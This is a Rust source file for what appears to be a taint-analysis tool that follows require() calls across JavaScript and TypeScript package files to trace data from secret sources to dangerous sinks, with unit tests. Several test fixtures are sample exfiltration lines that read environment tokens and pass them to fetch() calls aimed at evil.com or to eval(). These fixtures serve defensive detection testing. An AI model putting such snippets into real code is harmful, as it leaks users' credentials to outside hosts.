use std::collections::HashMap;
use std::path::{Path, PathBuf};
use crate::analyze;
use crate::ir::{EdgeKind, NodeId};
use crate::labels::LabelSet;
use crate::lib_types::TaintFinding;
use crate::parse::js::{apply_labels, default_label_set, JsParser};
fn normalize_path(path: &str) -> String {
let mut stack = Vec::new();
for part in path.split(['/', '\\']) {
if part.is_empty() || part == "." {
continue;
} else if part == ".." {
stack.pop();
} else {
stack.push(part);
}
}
stack.join("/")
}
fn resolve_require_memory(from_file: &str, specifier: &str, files: &[String]) -> Option<String> {
const BUILTINS: &[&str] = &[
"http", "https", "fs", "child_process", "net", "dns", "vm", "os", "path", "url",
"querystring", "stream", "events", "crypto", "buffer", "util",
];
if BUILTINS.contains(&specifier) {
return None;
}
if !specifier.starts_with('.') {
return None;
}
let dir = Path::new(from_file)
.parent()
.filter(|p| !p.as_os_str().is_empty())
.unwrap_or(Path::new("."));
let stripped = if specifier.starts_with("./") {
&specifier[2..]
} else {
specifier
};
let resolved = dir.join(stripped);
let has_ext = Path::new(stripped).extension().is_some();
let mut candidates: Vec<String> = Vec::new();
if has_ext {
candidates.push(normalize_path(&resolved.to_string_lossy()));
} else {
for ext in ["js", "ts", "json", "node"] {
candidates.push(normalize_path(&resolved.with_extension(ext).to_string_lossy()));
}
for ext in ["js", "ts"] {
candidates.push(normalize_path(
&resolved.join("index").with_extension(ext).to_string_lossy(),
));
}
}
let normalized_files: Vec<String> = files.iter().map(|f| normalize_path(f)).collect();
for candidate in candidates {
if let Some(idx) = normalized_files.iter().position(|f| f == &candidate) {
return Some(files[idx].clone());
}
}
None
}
pub fn analyze_package(files: &[(String, String)]) -> Vec<TaintFinding> {
let mut parser = JsParser::new();
let mut file_exports: HashMap<String, NodeId> = HashMap::new();
let mut all_require_calls: Vec<(String, NodeId, String)> = Vec::new();
let file_paths: Vec<String> = files.iter().map(|(p, _)| p.clone()).collect();
for (path, source) in files {
let ext = Path::new(path).extension().and_then(|s| s.to_str());
if !matches!(ext, Some("js") | Some("ts")) {
continue;
}
parser.set_current_file(PathBuf::from(path));
if let Err(e) = parser.parse_module(source) {
eprintln!("pyrograph: failed to parse {}: {:?}", path, e);
parser.clear_file_state();
continue;
}
if let Some(exports) = parser.module_exports() {
file_exports.insert(path.clone(), exports);
}
for (node_id, spec) in parser.take_require_calls() {
all_require_calls.push((path.clone(), node_id, spec));
}
parser.clear_file_state();
}
for (from_file, call_node, spec) in all_require_calls {
if let Some(resolved) = resolve_require_memory(&from_file, &spec, &file_paths) {
if let Some(&exports) = file_exports.get(&resolved) {
parser.graph_mut().add_edge(exports, call_node, EdgeKind::Assignment);
}
}
}
let mut graph = parser.into_graph();
let label_set = default_label_set();
apply_labels(&mut graph, &label_set);
graph.set_label_set(label_set);
analyze(&graph).unwrap_or_default()
}
pub fn analyze_package_with_labels(
files: &[(String, String)],
labels: &LabelSet,
) -> Vec<TaintFinding> {
let mut parser = JsParser::new();
let mut file_exports: HashMap<String, NodeId> = HashMap::new();
let mut all_require_calls: Vec<(String, NodeId, String)> = Vec::new();
let file_paths: Vec<String> = files.iter().map(|(p, _)| p.clone()).collect();
for (path, source) in files {
let ext = Path::new(path).extension().and_then(|s| s.to_str());
if !matches!(ext, Some("js") | Some("ts")) {
continue;
}
parser.set_current_file(PathBuf::from(path));
if let Err(e) = parser.parse_module(source) {
eprintln!("pyrograph: failed to parse {}: {:?}", path, e);
parser.clear_file_state();
continue;
}
if let Some(exports) = parser.module_exports() {
file_exports.insert(path.clone(), exports);
}
for (node_id, spec) in parser.take_require_calls() {
all_require_calls.push((path.clone(), node_id, spec));
}
parser.clear_file_state();
}
for (from_file, call_node, spec) in all_require_calls {
if let Some(resolved) = resolve_require_memory(&from_file, &spec, &file_paths) {
if let Some(&exports) = file_exports.get(&resolved) {
parser.graph_mut().add_edge(exports, call_node, EdgeKind::Assignment);
}
}
}
let mut graph = parser.into_graph();
let label_set = labels.clone();
apply_labels(&mut graph, &label_set);
graph.set_label_set(label_set);
analyze(&graph).unwrap_or_default()
}
#[cfg(test)]
mod tests {
use super::*;
use crate::labels::{LabelSet, SinkDef, SourceDef};
#[test]
fn resolver_builtin_returns_none() {
let files = vec!["index.js".into()];
assert_eq!(resolve_require_memory("index.js", "fs", &files), None);
}
#[test]
fn resolver_external_returns_none() {
let files = vec!["index.js".into()];
assert_eq!(resolve_require_memory("index.js", "express", &files), None);
}
#[test]
fn resolver_relative_with_extension() {
let files = vec!["helper.js".into(), "index.js".into()];
assert_eq!(
resolve_require_memory("index.js", "./helper.js", &files),
Some("helper.js".into())
);
}
#[test]
fn resolver_relative_without_extension() {
let files = vec!["helper.js".into(), "index.js".into()];
assert_eq!(
resolve_require_memory("index.js", "./helper", &files),
Some("helper.js".into())
);
}
#[test]
fn resolver_relative_js_preferred_over_ts() {
let files = vec!["helper.ts".into(), "helper.js".into(), "index.js".into()];
assert_eq!(
resolve_require_memory("index.js", "./helper", &files),
Some("helper.js".into())
);
}
#[test]
fn resolver_parent_relative() {
let files = vec!["parent.js".into(), "sub/index.js".into()];
assert_eq!(
resolve_require_memory("sub/index.js", "../parent", &files),
Some("parent.js".into())
);
}
#[test]
fn resolver_directory_index() {
let files = vec!["lib/index.js".into(), "index.js".into()];
assert_eq!(
resolve_require_memory("index.js", "./lib", &files),
Some("lib/index.js".into())
);
}
#[test]
fn cross_file_module_exports_object_to_sink() {
let files = vec![
(
"index.js".into(),
"var secret = process.env.TOKEN; module.exports = { secret };".into(),
),
(
"utils.js".into(),
"var { secret } = require('./index'); fetch('evil.com/' + secret);".into(),
),
];
let findings = analyze_package(&files);
assert!(
!findings.is_empty(),
"must detect cross-file taint: index.js source -> utils.js sink"
);
}
#[test]
fn cross_file_plain_require_to_sink() {
let files = vec![
(
"config.js".into(),
"module.exports = process.env.API_KEY;".into(),
),
(
"main.js".into(),
"var key = require('./config'); fetch('https://evil.com/?k=' + key);".into(),
),
];
let findings = analyze_package(&files);
assert!(
!findings.is_empty(),
"must detect cross-file taint via plain require"
);
}
#[test]
fn cross_file_multi_hop_chain() {
let files = vec![
(
"a.js".into(),
"module.exports = process.env.SECRET;".into(),
),
(
"b.js".into(),
"var x = require('./a'); module.exports = x + 'suffix';".into(),
),
(
"c.js".into(),
"var y = require('./b'); eval(y);".into(),
),
];
let findings = analyze_package(&files);
assert!(
!findings.is_empty(),
"must detect multi-hop cross-file taint a -> b -> c"
);
}
#[test]
fn cross_file_clean_no_false_positive() {
let files = vec![
(
"constants.js".into(),
"module.exports = { MAX_RETRIES: 3 };".into(),
),
(
"main.js".into(),
"var c = require('./constants'); console.log(c.MAX_RETRIES);".into(),
),
];
let findings = analyze_package(&files);
assert!(
findings.is_empty(),
"clean package with no sources must yield zero findings"
);
}
#[test]
fn cross_file_unresolvable_require_no_panic() {
let files = vec![
(
"main.js".into(),
"var x = require('./does-not-exist'); fetch(x);".into(),
),
];
let findings = analyze_package(&files);
assert!(
findings.is_empty(),
"unresolvable require should not crash or create false findings"
);
}
#[test]
fn cross_file_malformed_file_skipped() {
let files = vec![
("bad.js".into(), "this is not { valid javascript".into()),
(
"good.js".into(),
"var token = process.env.TOKEN; fetch(token);".into(),
),
];
let findings = analyze_package(&files);
assert!(
!findings.is_empty(),
"must still analyze valid files when one file is malformed"
);
}
#[test]
fn cross_file_with_custom_labels() {
let files = vec![
(
"src.js".into(),
"module.exports = customSource();".into(),
),
(
"sink.js".into(),
"var s = require('./src'); customSink(s);".into(),
),
];
let labels = LabelSet {
sources: vec![SourceDef {
id: "custom".into(),
pattern: "customSource".into(),
category: "credential".into(),
}],
sinks: vec![SinkDef {
id: "custom".into(),
pattern: "customSink".into(),
category: "exec".into(),
}],
sanitizers: vec![],
};
let findings = analyze_package_with_labels(&files, &labels);
assert!(
!findings.is_empty(),
"must respect custom label sets in package analysis"
);
}
#[test]
fn cross_file_ts_extension_supported() {
let files = vec![
(
"index.ts".into(),
"const secret = process.env.TOKEN; module.exports = { secret };".into(),
),
(
"utils.ts".into(),
"const { secret } = require('./index'); fetch('evil.com/' + secret);".into(),
),
];
let findings = analyze_package(&files);
assert!(
!findings.is_empty(),
"must support TypeScript files in package analysis"
);
}
#[test]
fn cross_file_no_duplicate_findings() {
let files = vec![
(
"index.js".into(),
"module.exports = process.env.TOKEN;".into(),
),
(
"a.js".into(),
"var x = require('./index'); fetch(x);".into(),
),
(
"b.js".into(),
"var y = require('./index'); fetch(y);".into(),
),
];
let findings = analyze_package(&files);
let mut unique_paths = std::collections::HashSet::new();
for f in &findings {
unique_paths.insert(f.path.clone());
}
assert_eq!(
findings.len(),
unique_paths.len(),
"findings must not contain exact duplicate paths"
);
assert!(
findings.len() >= 2,
"two importers must produce at least two findings"
);
}
}